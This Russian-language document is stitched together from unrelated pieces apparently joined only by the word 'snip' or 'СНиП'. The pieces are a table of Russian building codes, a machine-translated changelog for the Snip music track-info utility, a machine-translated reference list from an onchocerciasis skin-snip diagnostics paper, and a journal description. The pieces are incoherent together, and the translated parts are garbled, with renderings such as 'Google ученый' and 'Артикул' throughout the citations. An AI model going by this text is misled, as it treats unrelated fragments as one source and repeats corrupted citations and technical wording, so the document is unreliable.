| СП 16.13330.2011 | Стальные конструкции (актуализированная редакция СНиП II-23-81*) (взамен СНиП II-В.3-72, СНиП II-И.9-62, СН 376-67) |
| СП 18.13330.2011 | Генеральные планы промышленных предприятий (актуализированная редакция СНиП II-89-80*) (взамен СНиП II-М.1-71) |
| СП 19.13330.2011 | Генеральные планы сельскохозяйственных предприятий (актуализированная редакция СНиП II-97-76*) (взамен СНиП II-Н.1-70) |
| СП 29.13330.2011 | Полы (актуализированная редакция СНиП 2.03.13-88) (взамен СНиП II-В.8-71) |
| СП 30.13330.2012 | Внутренний водопровод и канализация зданий (актуализированная редакция СНиП 2.04.01-85*) (взамен СНиП II-30-76, СНиП II-34-76) |
| СП 31.13330.2012 | Водоснабжение. Наружные сети и сооружения (актуализированная редакция СНиП 2.04.02-84*) (взамен СНиП II-31-74) |
| СП 32.13330.2012 | Канализация. Наружные сети и сооружения (актуализированная редакция СНиП 2.04.03-85) (взамен СНиП II-32-74) |
| СП 37.13330.2012 | Промышленный транспорт (актуализированная редакция СНиП 2.05.07-91*) (взамен СНиП 2.05.07-85, СНиП II-46-75, раздела 7 СНиП II-Д.5-72, СН 251-78) |
| СП 42.13330.2011 | Градостроительство. Планировка и застройка городских и сельских поселений (актуализированная редакция СНиП 2.07.01-89*) (взамен СНиП II-60-75) |
| СП 43.13330.2012 | Сооружения промышленных предприятий (актуализированная редакция СНиП 2.09.03-85) (взамен СНиП II-91-77, СН 302-65, СН 471-75) |
| СП 44.13330.2011 | Административные и бытовые здания (актуализированная редакция СНиП 2.09.04-87*) (взамен СНиП II-92-76) |
| СП 52.13330.2011 | Естественное и искусственное освещение (актуализированная редакция СНиП 23-05-95*) (взамен СНиП II-4-79) |
| СП 53.13330.2011 | Планировка и застройка территорий садоводческих (дачных) объединений граждан, здания и сооружения (актуализированная редакция СНиП 30-02-97*) (взамен ВСН 43-85) |
| СП 54.13330.2011 | Здания жилые многоквартирные (актуализированная редакция СНиП 31-01-2003) (взамен СНиП 2.08.01-89) |
| СП 55.13330.2011 | Дома жилые одноквартирные (актуализированная редакция СНиП 31-02-2001) (взамен СНиП 2.08.01-89 в части одноквартирных жилых домов, НПБ 106-95) |
| СП 56.13330.2011 | Производственные здания (актуализированная редакция СНиП 31-03-2001) (взамен СНиП 2.09.02-85) |
| СП 60.13330.2012 | Отопление, вентиляция и кондиционирование воздуха (актуализированная редакция СНиП 41-01-2003) (взамен СНиП 2.04.05-91) |
| СП 61.13330.2012 (с изм. 1 2012) | Тепловая изоляция оборудования и трубопроводов (актуализированная редакция СНиП 41-03-2003) (взамен СНиП 2.04.14-88) |
| СП 62.13330.2011 | Газораспределительные системы (актуализированная редакция СНиП 42-01-2002) (взамен СНиП 2.04.08-87 и СНиП 3.05.02-88) |
| СП 64.13330.2011 | Деревянные конструкции (актуализированная редакция СНиП II-25-80) (взамен СНиП II-В.4-71) |
| СП 86.13330.2012 | Магистральные трубопроводы (актуализированная редакция СНиП III-42-80*) (взамен СНиП III-Д.10-62) |
| СП 89.13330.2012 | Котельные установки (актуализированная редакция СНиП II-35-76) (взамен СНиП II-Г.9-65, СН 350-66) |
| СП 90.13330.2012 | Электростанции тепловые (актуализированная редакция СНиП II-58-75) (взамен СНиП II-И.8-62, СН 372-67) |
| СП 91.13330.2012 | Подземные горные выработки (актуализированная редакция СНиП II-94-80) (взамен СНиП II-М.4-65) |
| СП 92.13330.2012 | Склады сухих минеральных удобрений и химических средств защиты растений (актуализированная редакция СНиП II-108-78) (взамен СНиП II-H.6-67) |
| СП 105.13330.2012 | Здания и помещения для хранения и переработки сельскохозяйственной продукции (актуализированная редакция СНиП 2.10.02-84) (взамен СНиП II-98-77) |
| СП 106.13330.2012 | Животноводческие, птицеводческие и звероводческие здания и помещения (актуализированная редакция СНиП 2.10.03-84) (взамен СНиП II-99-77) |
| СП 107.13330.2012 | Теплицы и парники (актуализированная редакция СНиП 2.10.04-85) (взамен СНиП II-100-75) |
| СП 108.13330.2012 | Предприятия, здания и сооружения по хранению и переработке зерна (актуализированная редакция СНиП 2.10.05-85) (взамен СН 261-77) |
| СП 109.13330.2012 | Холодильники (актуализированная редакция СНиП 2.11.02-87) (взамен СНиП II-105-74) |
| СП 113.13330.2012 | Стоянки автомобилей (актуализированная редакция СНиП 21-02-99*) |
| СП 118.13330.2012 | Общественные здания и сооружения (актуализированная редакция СНиП 31-06-2009) (взамен СНиП 2.08.02-89, СНиП 2.08.02-85, СНиП II-69-78, СНиП II-70-74, СНиП II-71-79, СНиП II-79-78, СНиП II-80-75, СНиП II-83-78, СНиП II-84-78, СНиП II-85-80, СНиП II-Л.8-71, СНиП II-Л.2-72) |
| СП 122.13330.2012 | Тоннели железнодорожные и автодорожные (актуализированная редакция СНиП 32-04-97) (взамен СНиП II-44-78 и СНиП III-44-77 в части железнодорожных и автомобильных тоннелей, исключая приемку) |
| СП 123.13330.2012 | Подземные хранилища газа, нефти и продуктов их переработки (актуализированная редакция СНиП 34-02-99) (взамен СНиП 2.11.04-85, СН 310-65, СН 320-65, СН 486-76, СН 315-81) |
| СП 124.13330.2012 | Тепловые сети (актуализированная редакция СНиП 41-02-2003) (взамен СНиП 2.04.07-86) |
| СП 125.13330.2012 | Нефтепродуктопроводы, прокладываемые на территории городов и других населенных пунктов (актуализированная редакция СНиП 2.05.13-90) |
| СП 128.13330.2012 | Алюминиевые конструкции (актуализированная редакция СНиП 2.03.06-85) (взамен СНиП II-24-74) |
| СП 132.13330.2011 | Обеспечение антитеррористической защищенности зданий и сооружений. Общие требования проектирования |
| СП 133.13330.2012 | Сети проводного радиовещания и оповещения в зданиях и сооружениях. Нормы проектирования |
| СП 134.13330.2012 | Системы электросвязи зданий и сооружений. Основные положения проектирования |
| СП 135.13130.2012 | Вертодромы. Требования пожарной безопасности |
| СП 153.13130.2013 | Инфраструктура железнодорожного транспорта. Требования пожарной безопасности |
| СП 154.13130.2013 | Встроенные подземные автостоянки. Требования пожарной безопасности |
| СП 21-104-98 | Свод правил по проектированию систем противопожарной защиты резервуарных парков Госкомрезерва России |
| СП 31-110-2003 | Проектирование и монтаж электроустановок жилых и общественных зданий (взамен ВСН 59-88) |
| СП 40-102-2000 | Проектирование и монтаж трубопроводов систем водоснабжения и канализации из полимерных материалов. Общие требования (взамен СН 478-80) |
· dlrudie / Snip · GitHub Выпуски
· dlrudie / Snip · GitHub- Значительно улучшено обнаружение Spotify. Из-за ограничений Windows API вы не можете получить дескриптор главного окна из процесса, свернутого в системный трей. В этой версии Snip нужно будет увидеть окно Spotify только один раз, и оно будет работать с тех пор, пока вы не перезапустите Spotify.
- Изменен таймер с 5 секунд назад на 1 секунду. Однако теперь Snip использует строку заголовка Spotify, чтобы определять, когда треки меняются, и будет получать новые данные только при изменении заголовка. Это в конечном итоге значительно сокращает количество вызовов API.
- Исправлена ошибка, из-за которой подкасты и не отслеживаемая информация приводили к сбою Snip. К сожалению, Spotify не предоставляет никаких данных о подкастах.
- Уменьшена скорость вызова API с 1 до 5 секунд.При смене трека до того, как Snip его обнаружит, может быть задержка до пяти секунд, но это значительно сократит количество вызовов API.
- Реализован повтор вызова API при превышении лимита скорости.
- Обновил код Spotify. Вам нужно будет авторизовать свою учетную запись.
- Удалена вся поддержка медиаплеера, кроме Spotify и iTunes. (У меня нет времени поддерживать весь код для всех медиаплееров.Я сожалею о том, что. Возможно, после переписывания я смогу сделать Snip модульным, и другие люди смогут поддерживать свои собственные плагины.)
- Доработан код и удалено много неиспользуемого кода.
- Протестировано против iTunes 12.9.5.7 (версия, отличная от Windows Store).
- Протестировано на Spotify 1.1.10.540.gfcf0430f (версия, отличная от Windows Store.)
- Project теперь построен с помощью Visual Studio 2019 (предыдущий был 2017).
В этом выпуске, скорее всего, будут ошибки.Это можно сделать, чтобы Spotify заработал. Необходимо добавить множество проверок ошибок. Кроме того, я только минимально это тестировал. Спасибо всем за то, что вы были бета-тестерами. 🙂
- Объединенный запрос на вытягивание № 267 от GenesisFR, который выполняет рефакторинг большого количества кода и удаляет изображения при выходе из Snip.
- # 306 Snip теперь проверяет родительский процесс, чтобы убедиться, что это действительно Spotify. (Спасибо GenesisFR за поиск причины)
- # 304 Snip теперь требует доступа администратора при запуске.
- Исправлена не работающая проверка обновлений версии.
- При включении сохранения отдельных файлов Snip теперь сохраняет метаданные Spotify в Snip_Metadata.json.
- Внутренняя очистка кода локализации.
- # 199 Snip теперь можно запускать несколько раз. Я не уверен, как это сработает, но постараюсь.
- Изменил Spotify обратно на AnyCPU с 64-разрядной версии.
- # 268 # 283 # 284 # 290 # 291 # 297 # 299 Исправляет Spotify, не работающий с тех пор, как Spotify закрыл свой настольный API.(Горячие клавиши в настоящее время не работают в Spotify).
- Авторские права обновлены до 2018 г.
- Quodlibet переименован в Quod Libet.
- Перемещен Quod Libet в меню.
- Snip теперь только 64-битный.
- Snip теперь стирает файл Snip.txt при выходе.
- Если в Spotify воспроизводится реклама, текстовый файл будет очищен.
- Удалены лишние строки из файлов ресурсов.
- Удален «крошечный» размер из иллюстраций, поскольку Spotify прекратил его поддерживать. Код обнаружения порта
- Spotify теперь связан с потоками, поэтому Snip больше не будет зависать.
- Исправления чешского перевода, выполненные jingtongtangflee.
- Snip теперь будет перебирать различные порты, чтобы найти правильный порт для подключения к Spotify. Исправления № 173.
- Изменен snip.spotilocal.com на 127.0.0.1.
- Датский перевод предоставлен Йенсом Мёллером.
- Изменен порт, который Snip использует для получения токена от SpotifyWebHelper. Мы надеемся, что это позволит большему количеству пользователей успешно получить токен.
Моделирование диагностики забытых тропических болезней: чувствительность кожных обрезков к Onchocerca volvulus в условиях, близких к ликвидации и эпиднадзору | Паразиты и переносчики
Всемирная организация здравоохранения. Отчет ВОЗ / APOC о ходе работы за 2012 год. Женева: Всемирная организация здравоохранения; 2012. Доступно: http://www.who.int/entity/apoc/publications/2012_progressreport. Доступ: 22 ноября 2015 г.
Google ученый
Всемирная организация здравоохранения. Отчет ВОЗ / APOC о ходе работы за 2013 год. Женева: Всемирная организация здравоохранения; 2013 г. Доступно: http://www.who.int/apoc/publications/2013_progressreport. Доступ: 22 ноября 2015 г.
Google ученый
Winnen M, Plaisier AP, Alley ES, Nagelkerke NJD, van Oortmarssen G, Boatin BA, Habbema JDF. Может ли массовое лечение ивермектином устранить онхоцеркоз в Африке? Bull World Health Organ. 2002; 80: 384–90.
CAS PubMed PubMed Central Google ученый
Диавара Л., Траоре МО, Баджи А., Биссан И., Думбия К., Гойта С.Ф. и др.Возможность ликвидации онхоцеркоза с помощью лечения ивермектином в эндемичных очагах в Африке: первые данные исследований в Мали и Сенегале. PLoS Negl Trop Dis. 2009; 3 (7), e497.
Артикул PubMed PubMed Central Google ученый
Траоре М.О., Сарр М.Д., Баджи А., Биссан И., Диавара Л., Думбия К. и др. Доказательство принципа элиминации онхоцеркоза с помощью лечения ивермектином в эндемичных очагах в Африке: окончательные результаты исследования в Мали и Сенегале.PLoS Negl Trop Dis. 2012; 6 (9), e1825.
CAS Статья PubMed PubMed Central Google ученый
Tekle AH, Elhassan E, Isiyaku S, Amazigo UV, Bush S, Noma M, et al. Влияние длительного лечения онхоцеркоза ивермектином в штате Кадуна, Нигерия: первое свидетельство возможности ликвидации в оперативной области Африканской программы борьбы с онхоцеркозом. Векторы паразитов. 2012; 5: 28.
Артикул PubMed PubMed Central Google ученый
Всемирная организация здравоохранения. Ускорение работы по преодолению глобального воздействия забытых тропических болезней: дорожная карта для реализации. Женева: Всемирная организация здравоохранения; 2012. Доступно: http://www.who.int/neglected_diseases/NTD_RoadMap_2012_Fullversion.pdf. Доступ: 9 ноября 2015 г.
Google ученый
Всемирная организация здравоохранения. Восемнадцатая сессия Форума совместных действий JAF18, Бужумбура; 2012. Доступно: http: // www.who.int/entity/apoc/about/structure/jaf/Final_Communique_JAF_18_English_final_with_annexes.pdf. Доступ: 22 ноября 2015 г.
Всемирная организация здравоохранения / Программа Afican по борьбе с онхоцеркозом. Концептуальные и оперативные основы ликвидации онхоцеркоза с помощью лечения ивермектином; 2010. Доступно: http://www.who.int/apoc/oncho_elimination_report_english.pdf. Доступ: 9 ноября 2015 г.
Всемирная организация здравоохранения. Руководство по прекращению массового приема лекарственных средств и верификации ликвидации онхоцеркоза человека.Критерии и процедуры. 2016 г. Доступно: http://apps.who.int/iris/bitstream/10665/204180/1/978
Prost A, Prod’hon J. Паразитологическая диагностика онхоцеркоза. Критический обзор существующих методов (авторский перевод). Med Trop (Марс). 1978. 38 (5): 519–32. Статья на французском языке.
CAS Google ученый
Моро Дж. П., Прост А., Продон Дж. Попытка нормализовать методологию клинических паразитологических исследований онхоцеркоза в Западной Африке (авторский перевод).Med Trop (Марс). 1978. 38 (1): 43–51. Статья на французском языке.
CAS Google ученый
Африканская программа борьбы с онхоцеркозом (APOC). Отчет 39-й сессии Технического консультативного комитета (ТКК), сентябрь 2014 г. Уагадугу: Всемирная организация здравоохранения / Африканская программа по борьбе с онхоцеркозом; 2015. Доступно: http://www.who.int/apoc/about/structure/tcc/en/. Доступ: 26 января 2016 г.
Google ученый
Всемирная организация здравоохранения / Африканская программа по борьбе с онхоцеркозом. Отчет о консультативных встречах по стратегическим вариантам и стратегиям альтернативного лечения для ускорения элиминации онхоцеркоза в Африке. 2015. WHO / MG / 15.20. Доступно: http://www.who.int/apoc/ATS_Report_2015.12.pdf?ua=1. Доступ: 25 января 2016 г.
Toè L, Adjami AG, Boatin BA, Back C, Alley ES, Dembele N, et al. Местное применение диэтилкарбамазина для выявления обострения онхоцеркоза в Западной Африке.Trans R Soc Trop Med Hyg. 2000. 94 (5): 519–25.
Артикул PubMed Google ученый
Озох Г., Буссинеск М., Биссек А.С., Кобанге Л., Комбила М., Мбина Дж. Р. и др. Оценка диэтилкарбамазинового пластыря для оценки эндемичности онхоцеркоза в Центральной Африке. Trop Med Int Health. 2007. 12 (1): 123–9.
PubMed Google ученый
Всемирная организация здравоохранения / OCP.Эпидемиологический надзор: метод диэтилкарбамазинового пластыря, полевые работы и учебное пособие. Женева: Всемирная организация здравоохранения; 2002. Доступно: http://www.who.int/apoc/publications/guidefortraindec_patch. Доступ: 26 ноября 2015 г.
Google ученый
Awadzi K, Opoku NO, Attah SK, Lazdins-Helds JK, Kuesel AC. Диагностика инфекции O. volvulus через воздействие на кожу диэтилкарбамазина: клиническая оценка пластыря на основе технологии трансдермальной доставки.Векторы паразитов. 2015; 8 (1): 515.
CAS Статья PubMed PubMed Central Google ученый
Vlaminck J, Fischer PU, Weil GJ. Средства диагностики для программ ликвидации онхоцеркоза. Trends Parasitol. 2015; DOI: 10.1016 / j.pt.2015.06.007. [Epub перед печатью].
Boatin BA, Toé L, Alley ES, Nagelkerke NJD, Borsboom G, Habbema JDF. Обнаружение инфекции Onchocerca volvulus в регионах с низкой распространенностью: сравнение трех диагностических методов.Паразитология. 2002. 125 (6): 545–52.
CAS PubMed Google ученый
Тейлор Х.Р., Муньос Б., Кейван-Лариджани Э., Грин Б.М. Надежность обнаружения микрофилярий на срезах кожи при диагностике онхоцеркоза. Am J Trop Med Hyg. 1989. 41 (4): 467–71.
CAS PubMed Google ученый
McCarthy JS, Lustigman S, Yang G-J, Barakat RM, García HH, Sripa B, et al.Программа исследований гельминтозов человека: диагностика для программ борьбы и ликвидации. PLoS Negl Trop Dis. 2012; 6 (4), e1601.
Артикул PubMed PubMed Central Google ученый
Коллинз Р.С., Брандлинг-Беннетт А.Д., Холлман Р.Б., Кэмпбелл С.К., Дарси РФ. Паразитологическая диагностика онхоцеркоза: сравнение инкубационной среды и времени инкубации для ножек кожи. Am J Trop Med Hyg. 1980. 29 (1): 35–41.
CAS PubMed Google ученый
Коллинз Р.К., Гонзалес-Перальта С., Кастро Дж., Зеа-Флорес Дж., Купп М.С., Ричардс-младший Ф.О. и др. Ивермектин: снижение распространенности и интенсивности инфицирования Onchocerca volvulus после двухгодичного лечения в пяти общинах Гватемалы. Am J Trop Med Hyg. 1992. 47 (2): 156–69.
CAS PubMed Google ученый
Басаньес М.Г., Ярсабаль Л., Такаока Х., Сузуки Х., Нода С., Тада I. Векторная роль нескольких видов мошек (Diptera: Simuliidae) в отношении онхоцеркоза человека в регионах Сьерра-Парима и Верхний Ориноко в Венесуэле. Ann Trop Med Parasitol. 1988. 82 (6): 597–611.
PubMed Google ученый
Кале О.О., Баммеке А.О., Айени О. Оценка методов снятия кожных покровов, используемых для количественной оценки плотности микрофилярий у Onchocerca volvulus .Bull World Health Organ. 1974. 51 (5): 547–9.
CAS PubMed PubMed Central Google ученый
Awadzi K, Roulet H, Bell DR. Химиотерапия онхоцеркоза V. Стандартный метод определения плотности микрофилярий на срезах кожи. Ann Trop Med Parasitol. 1980. 74 (3): 363–6.
CAS Статья PubMed Google ученый
Schulz-Key H, Karam M.Периодическое размножение Onchocerca volvulus . Паразитология сегодня. 1986. 2 (10): 284–6.
CAS Статья PubMed Google ученый
Тейлор Х.Р., Кейван-Лариджани Э., Ньюленд Х.С., Уайт А.Т., Грин Б.М. Чувствительность кожных надрезов при диагностике онхоцеркоза. Троп Мед Паразитол. 1987. 38 (2): 145–7.
CAS PubMed Google ученый
Vivas-Martínez S, Basáñez MG, Botto C, Villegas L, García M, Curtis CF. Паразитологические индикаторы онхоцеркоза, имеющие отношение к программам борьбы с ивермектином в амазонских районах Южной Венесуэлы. Паразитология. 2000. 121 (5): 527–34.
Артикул PubMed Google ученый
Вивас-Мартинес С., Басаньес М.Г., Грилле М.Э., Вайс Х., Ботто С., Гарсия М. и др. Онхоцеркоз в центре Амазонки на юге Венесуэлы: высота над уровнем моря и видовой состав мошек как предикторы эндемичности для отбора сообществ для программ борьбы с ивермектином.Trans R Soc Trop Med Hyg. 1998. 92 (6): 613–20.
Артикул PubMed Google ученый
Вивас-Мартинес С., Басаньес М.Г., Ботто С., Рохас С., Гарсия М., Пачеко М. и др. Амазонский онхоцеркоз: паразитологические профили в зависимости от возраста хозяина, пола и эндемичности на юге Венесуэлы. Паразитология. 2000. 121 (5): 513–25.
Артикул PubMed Google ученый
Awadzi K, Opoku NO, Attah SK, Lazdins-Helds J, Kuesel AC.Рандомизированное двойное слепое исследование моксидектина с применением однократной возрастающей дозы и контролем ивермектина при инфекции Onchocerca volvulus . PLoS Negl Trop Dis. 2014; 8 (6), e2953.
Артикул PubMed PubMed Central Google ученый
MacDonald AJ, Turaga PS, Harmon-Brown C, Tierney TJ, Bennett KE, McCarthy MC, et al. Дифференциальные ответы цитокинов и антител на взрослую и личиночную стадии Onchocerca volvulus соответствуют развитию сопутствующего иммунитета.Infect Immun. 2002. 70 (6): 2796–804.
CAS Статья PubMed PubMed Central Google ученый
Cupp EW, Ochoa JO, Collins RC, Cupp MS, Gonzales-Peralta C, Castro J, et al. Влияние повторяющегося лечения ивермектином в масштабах всего сообщества на передачу Onchocerca volvulus в Гватемале. Am J Trop Med Hyg. 1992. 47 (2): 170–80.
CAS PubMed Google ученый
Brandling-Bennett AD, Anderson J, Fuglsang H, Collins R. Onchocerciasis в Гватемале. Эпидемиология в рыбных хозяйствах с разной степенью заражения. Am J Trop Med Hyg. 1981; 30 (5): 970–81.
CAS PubMed Google ученый
Басаньес М.Г., Ярсабаль Л. Онхоцеркоз в регионах Сьерра-Парима и Верхний Ориноко, Федеральная территория Амазонас, Венесуэла. В: Миллер MJ, Love EJ, редакторы. Паразитарные болезни: лечение и контроль.Флорида: CRC Press; 1989. стр. 231–56.
Google ученый
Duke BOL. Динамика популяции Onchocerca volvulus в организме человека-хозяина. Троп Мед Паразитол. 1993. 44 (2): 61–8.
CAS PubMed Google ученый
Басаньес М.Г., Буссинеск М. Популяционная биология онхоцеркоза человека. Philos Trans R Soc Lond B Biol Sci. 1999. 354 (1384): 809–26.
Артикул PubMed PubMed Central Google ученый
Basáñez MG, Pion SDS, Boakes E, Filipe JAN, Churcher TS, Boussinesq M. Влияние однократной дозы ивермектина на Onchocerca volvulus : систематический обзор и метаанализ. Lancet Infect Dis. 2008. 8 (5): 310–22.
Артикул PubMed Google ученый
Тернер Х.С., Черчер Т.С., Уокер М., Осей-Атвенебоана, М.Ю., Причард Р.К., Басаньес М.Г.Неопределенность в отношении прогнозов долгосрочного воздействия лечения ивермектином на онхоцеркоз человека. PLoS Negl Trop Dis. 2013; 7 (4), e2169.
CAS Статья PubMed PubMed Central Google ученый
Коффенг Л. Е., Столк В. А., Херауф А., Хаббема Д., Баккер Р., Хопкинс А. Д. и др. Ликвидация африканского онхоцеркоза: моделирование влияния увеличения частоты массового лечения ивермектином. PLoS One. 2014; 9 (12), e115886.
Артикул PubMed PubMed Central Google ученый
Боттомли С., Ишем В., Коллинз Р.С., Басаньес М.Г. Темпы производства микрофилярий Onchocerca volvulus кумулятивно не снижаются при многократном введении ивермектина. Паразитология. 2008. 135 (13): 1571–81.
CAS Статья PubMed Google ученый
Tallis GM, Leyton M.Стохастические модели популяций гельминтозов в окончательном хозяине. I. Math Biosci. 1969; 4 (1-2): 39-48.
Артикул Google ученый
Kershaw WE, Duke BOL, Budden FH. Распространение микрофилярий O. volvulus в коже; его отношение к изменению кожи, поражениям глаз и слепоте. Br Med J. 1954; 2 (4890): 724–9.
CAS Статья PubMed PubMed Central Google ученый
Duerr HP, Dietz K, Büttner DW, Schulz-Key H. Стохастическая модель агрегации Onchocerca volvulus в клубеньках. Паразитология. 2001. 123 (2): 193–201.
CAS Статья PubMed Google ученый
R Основная команда. R: язык и среда для статистических вычислений. Вена: Фонд R для статистических вычислений; 2015.
Google ученый
Duerr HP, Dietz K, Schulz-Key H, Büttner DW, Eichner M. Взаимосвязь между бременем взрослых паразитов, возрастом хозяина и плотностью микрофилярий при онхоцеркозе человека. Int J Parasitol. 2004. 34 (4): 463–73.
CAS Статья PubMed Google ученый
Plaisier AP, Alley ES, Boatin BA, Van Oortmarssen GJ, Remme H, De Vlas SJ, et al. Необратимые эффекты ивермектина на взрослых паразитов у пациентов с онхоцеркозом в Программе борьбы с онхоцеркозом в Западной Африке.J Infect Dis. 1995. 172 (1): 204–10.
CAS Статья PubMed Google ученый
Kläger S, Whitworth JAG, Post RJ, Chavasse DC, Downham MD. Как долго сохраняется влияние ивермектина на взрослого человека Onchocerca volvulus ? Троп Мед Паразитол. 1993. 44 (4): 305–10.
PubMed Google ученый
Kläger SL, Whitworth JAG, Downham MD. Жизнеспособность и фертильность взрослых особей Onchocerca volvulus после 6 лет лечения ивермектином.Trop Med Int Health. 1996; 1 (5): 581–9.
Артикул PubMed Google ученый
Gardon J, Boussinesq M, Kamgno J, Gardon-Wendel N, Demanga-Ngangue, Duke BOL. Эффекты стандартных и высоких доз ивермектина на взрослых червей Onchocerca volvulus : рандомизированное контролируемое исследование. Ланцет. 2002; 360 (9328): 203–10.
CAS Статья PubMed Google ученый
Pion SDS, Nana-Djeunga HC, Kamgno J, Tendongfor N, Wanji S, Njiokou F и др. Динамика плотности микрофилярий Onchocerca volvulus после лечения ивермектином в популяции из Камеруна, ранее не получавшей ивермектин, и в группе, получавшей многократное лечение. PLoS Negl Trop Dis. 2013; 7 (2), e2084.
CAS Статья PubMed PubMed Central Google ученый
Тернер Х.С., Уокер М., Черчер Т.С., Басаньес М.Г. Моделирование воздействия ивермектина на речную слепоту и его бремя заболеваемости и смертности в африканской саванне: прогнозы EpiOncho.Векторы паразитов. 2014; 7: 241.
Артикул PubMed PubMed Central Google ученый
Stolk WA, Walker M, Coffeng LE, Basáñez MG, de Vlas SJ. Необходимая продолжительность массового лечения ивермектином для элиминации онхоцеркоза в Африке: сравнительный модельный анализ. Векторы паразитов. 2015; 8 (1): 552.
Артикул PubMed PubMed Central Google ученый
Plaisier AP, van Oortmarssen GJ, Remme J, Habbema JD. Продолжительность репродуктивной жизни Onchocerca volvulus в саванне Западной Африки. Acta Trop. 1991. 48 (4): 271–84.
CAS Статья PubMed Google ученый
Vuong PN, Bain O, Cabaret J, Petit G, Prod’hon J, Ranque P и др. Онхоцеркоз леса и саванны: сравнительная морфометрическая гистопатология кожных поражений. Троп Мед Паразитол. 1988. 39 (2): 105–10.
CAS PubMed Google ученый
Turner HC, Walker M, Churcher TS, Osei-Atweneboana MY, Biritwum NK, Hopkins A, et al. Достижение целей Лондонской декларации о забытых тропических болезнях в отношении онхоцеркоза: экономическая оценка увеличения частоты лечения ивермектином в Африке. Clin Infect Dis. 2014; 59 (7): 923–32.
Артикул PubMed PubMed Central Google ученый
Всемирная организация здравоохранения / Африканская программа по борьбе с онхоцеркозом. Рекомендации по пересмотру границ лечения ивермектином в контексте элиминации онхоцеркоза. 2015. WHO / MG / 15.21. Доступно: http://www.who.int/apoc/ATS_Report_Annex1_APOC_Guidelines_for_revising_IVM_Tx_boundaries.pdf. По состоянию на 25 января 2016 г.
Renz A, Wenk P. Распределение микрофилярий Onchocerca volvulus в различных областях тела в зависимости от атакующего поведения Simulium damnosum s.л. в суданской саванне на севере Камеруна. Trans R Soc Trop Med Hyg. 1983; 77 (6): 748–52.
CAS Статья PubMed Google ученый
Basáñez MG, Churcher TS, Grillet ME. Взаимодействия Onchocerca-Simulium и популяционная и эволюционная биология Onchocerca volvulus . Adv Parasitol. 2009. 68: 263–313.
Артикул PubMed Google ученый
Boussinesq M, Gardon J, Gardon-Wendel N, Kamgno J, Ngoumou P, Chippaux JP. Три вероятных случая энцефалопатии Loa loa после лечения онхоцеркозом ивермектином. Am J Trop Med Hyg. 1998. 58 (4): 461–9.
CAS PubMed Google ученый
Boussinesq M, Gardon J, Kamgno J, Pion SDS, Gardon-Wendel N, Chippaux JP. Взаимосвязь между распространенностью и интенсивностью заражения Loa loa в центральной провинции Камеруна.Ann Trop Med Parasitol. 2001. 95 (5): 495–507.
CAS Статья PubMed Google ученый
Mectizan® Экспертный комитет / Технический консультативный комитет. Рекомендации по лечению онхоцеркоза препаратом Мектизан® в районах, эндемичных по онхоцеркозу и лоазу. 2004 г. Доступно: http://www.who.int/apoc/ATS_Report_Annex3_MEC_TCC_Guidelines_for_IVM_TxinLoaendemicareas.pdf?ua=1. Доступ: 25 января 2016 г.
Д’Амброзио М.В., Бакалар М., Беннуру С., Ребер С., Скандараджа А., Нильссон Л. и др. Количественный анализ передаваемых с кровью филяриозных паразитов на месте оказания медицинской помощи с помощью микроскопа мобильного телефона. Sci Transl Med. 2015; 7 (286): 286re4.
Артикул PubMed Google ученый
Wanji S, Kengne-Ouafo JA, Esum ME, Chounna PW, Tendongfor N, Adzemye BF и др. Ситуационный анализ паразитологических и энтомологических показателей передачи онхоцеркоза в трех водосборных бассейнах тропических лесов Юго-Западного Камеруна после десяти лет лечения ивермектином.Векторы паразитов. 2015; 8: 202.
Артикул PubMed PubMed Central Google ученый
Тейлор MJ, Hoerauf A, Townson S, Slatko BE, Ward SA. Открытие и разработка препарата Anti- Wolbachia : безопасные макрофилярициды от онхоцеркоза и лимфатического филяриоза. Паразитология. 2014. 141 (1): 119–27.
CAS Статья PubMed Google ученый
Debrah AY, Specht S, Klarmann-Schulz U, Batsa L, Mand S, Marfo-Debrekyei Y, et al. Доксициклин приводит к бесплодию и усиленному уничтожению самок глистов Onchocerca volvulus в области со стойкой микрофиляридермией после повторного лечения ивермектином: рандомизированное плацебо-контролируемое двойное слепое исследование. Clin Infect Dis. 2015; 61 (4): 517–26.
Артикул PubMed PubMed Central Google ученый
Уокер М., Шпехт С., Черчер Т.С., Херауф А., Тейлор М.Дж., Басаньес М.Г.Терапевтическая эффективность и макрофилярицидная активность доксициклина для лечения речной слепоты. Clin Infect Dis. 2015; 60 (8): 1199–207.
Артикул PubMed Google ученый
Килиан HD. Использование местной пробы Маццотти в диагностике онхоцеркоза. Троп Мед Паразитол. 1988. 39 (3): 235–8.
CAS PubMed Google ученый
Newland HS, Kaiser A, Taylor HR.Применение крема с диэтилкарбамазином в диагностике онхоцеркоза. Троп Мед Паразитол. 1987. 38 (2): 143–4.
CAS PubMed Google ученый
Стингл П., Росс М., Гибсон Д.В., Рибас Дж., Коннор Д.Х. Диагностический «патч-тест» на онхоцеркоз с использованием местного диэтилкарбамазина. Trans R Soc Trop Med Hyg. 1984. 78 (2): 254–8.
CAS Статья PubMed Google ученый
Брэдли Дж. Э., Уннаш TR. Молекулярные подходы к диагностике онхоцеркоза. Adv Parasitol. 1996. 37: 57–106.
CAS Статья PubMed Google ученый
Lobos E, Weiss N, Karam M, Taylor HR, Ottesen EA, Nutman TB. Иммуногенный антиген Onchocerca volvulus : специфический и ранний маркер инфекции. Наука. 1991. 251 (5001): 1603–5.
CAS Статья PubMed Google ученый
Огутту Д., Бьямукама Е., Католи С.Р., Хабомугиша П., Нахабве С., Нгабирано М. и др. Серологический надзор для мониторинга элиминации онхоцеркоза: опыт Уганды. Am J Trop Med Hyg. 2014; 90 (2): 339–45.
Артикул PubMed PubMed Central Google ученый
Винсент Дж. А., Люстигман С., Чжан С., Вейл Дж. Дж. Сравнение новейших тестов для диагностики онхоцеркоза. Ann Trop Med Parasitol. 2000. 94 (3): 253–8.
CAS Статья PubMed Google ученый
Наука о всей окружающей среде — Журнал
Наука о всей окружающей среде — это международный многопрофильный журнал для публикации новых, основанных на гипотезах и высокоэффективных исследований общей среды , который взаимодействует с атмосфера , литосфера , гидросфера , биосфера и антропосфера .
Цели и масштабы STOTEN были обновлены — мы приглашаем вас внести оригинальные и высококачественные междисциплинарные исследования в области окружающей среды, имеющие широкое влияние. Первостепенное внимание будет уделяться исследованиям, которые значительно продвигают фундаментальное понимание и сосредоточены на взаимосвязи нескольких сфер. Предпочтение отдается полевым исследованиям, в то время как статьи, описывающие лабораторные эксперименты, должны демонстрировать значительный прогресс в методологии или механистическом понимании с четкой связью с окружающей средой.Описательные, повторяющиеся, инкрементные исследования или исследования регионального масштаба с ограниченной новизной рассматриваться не будут.
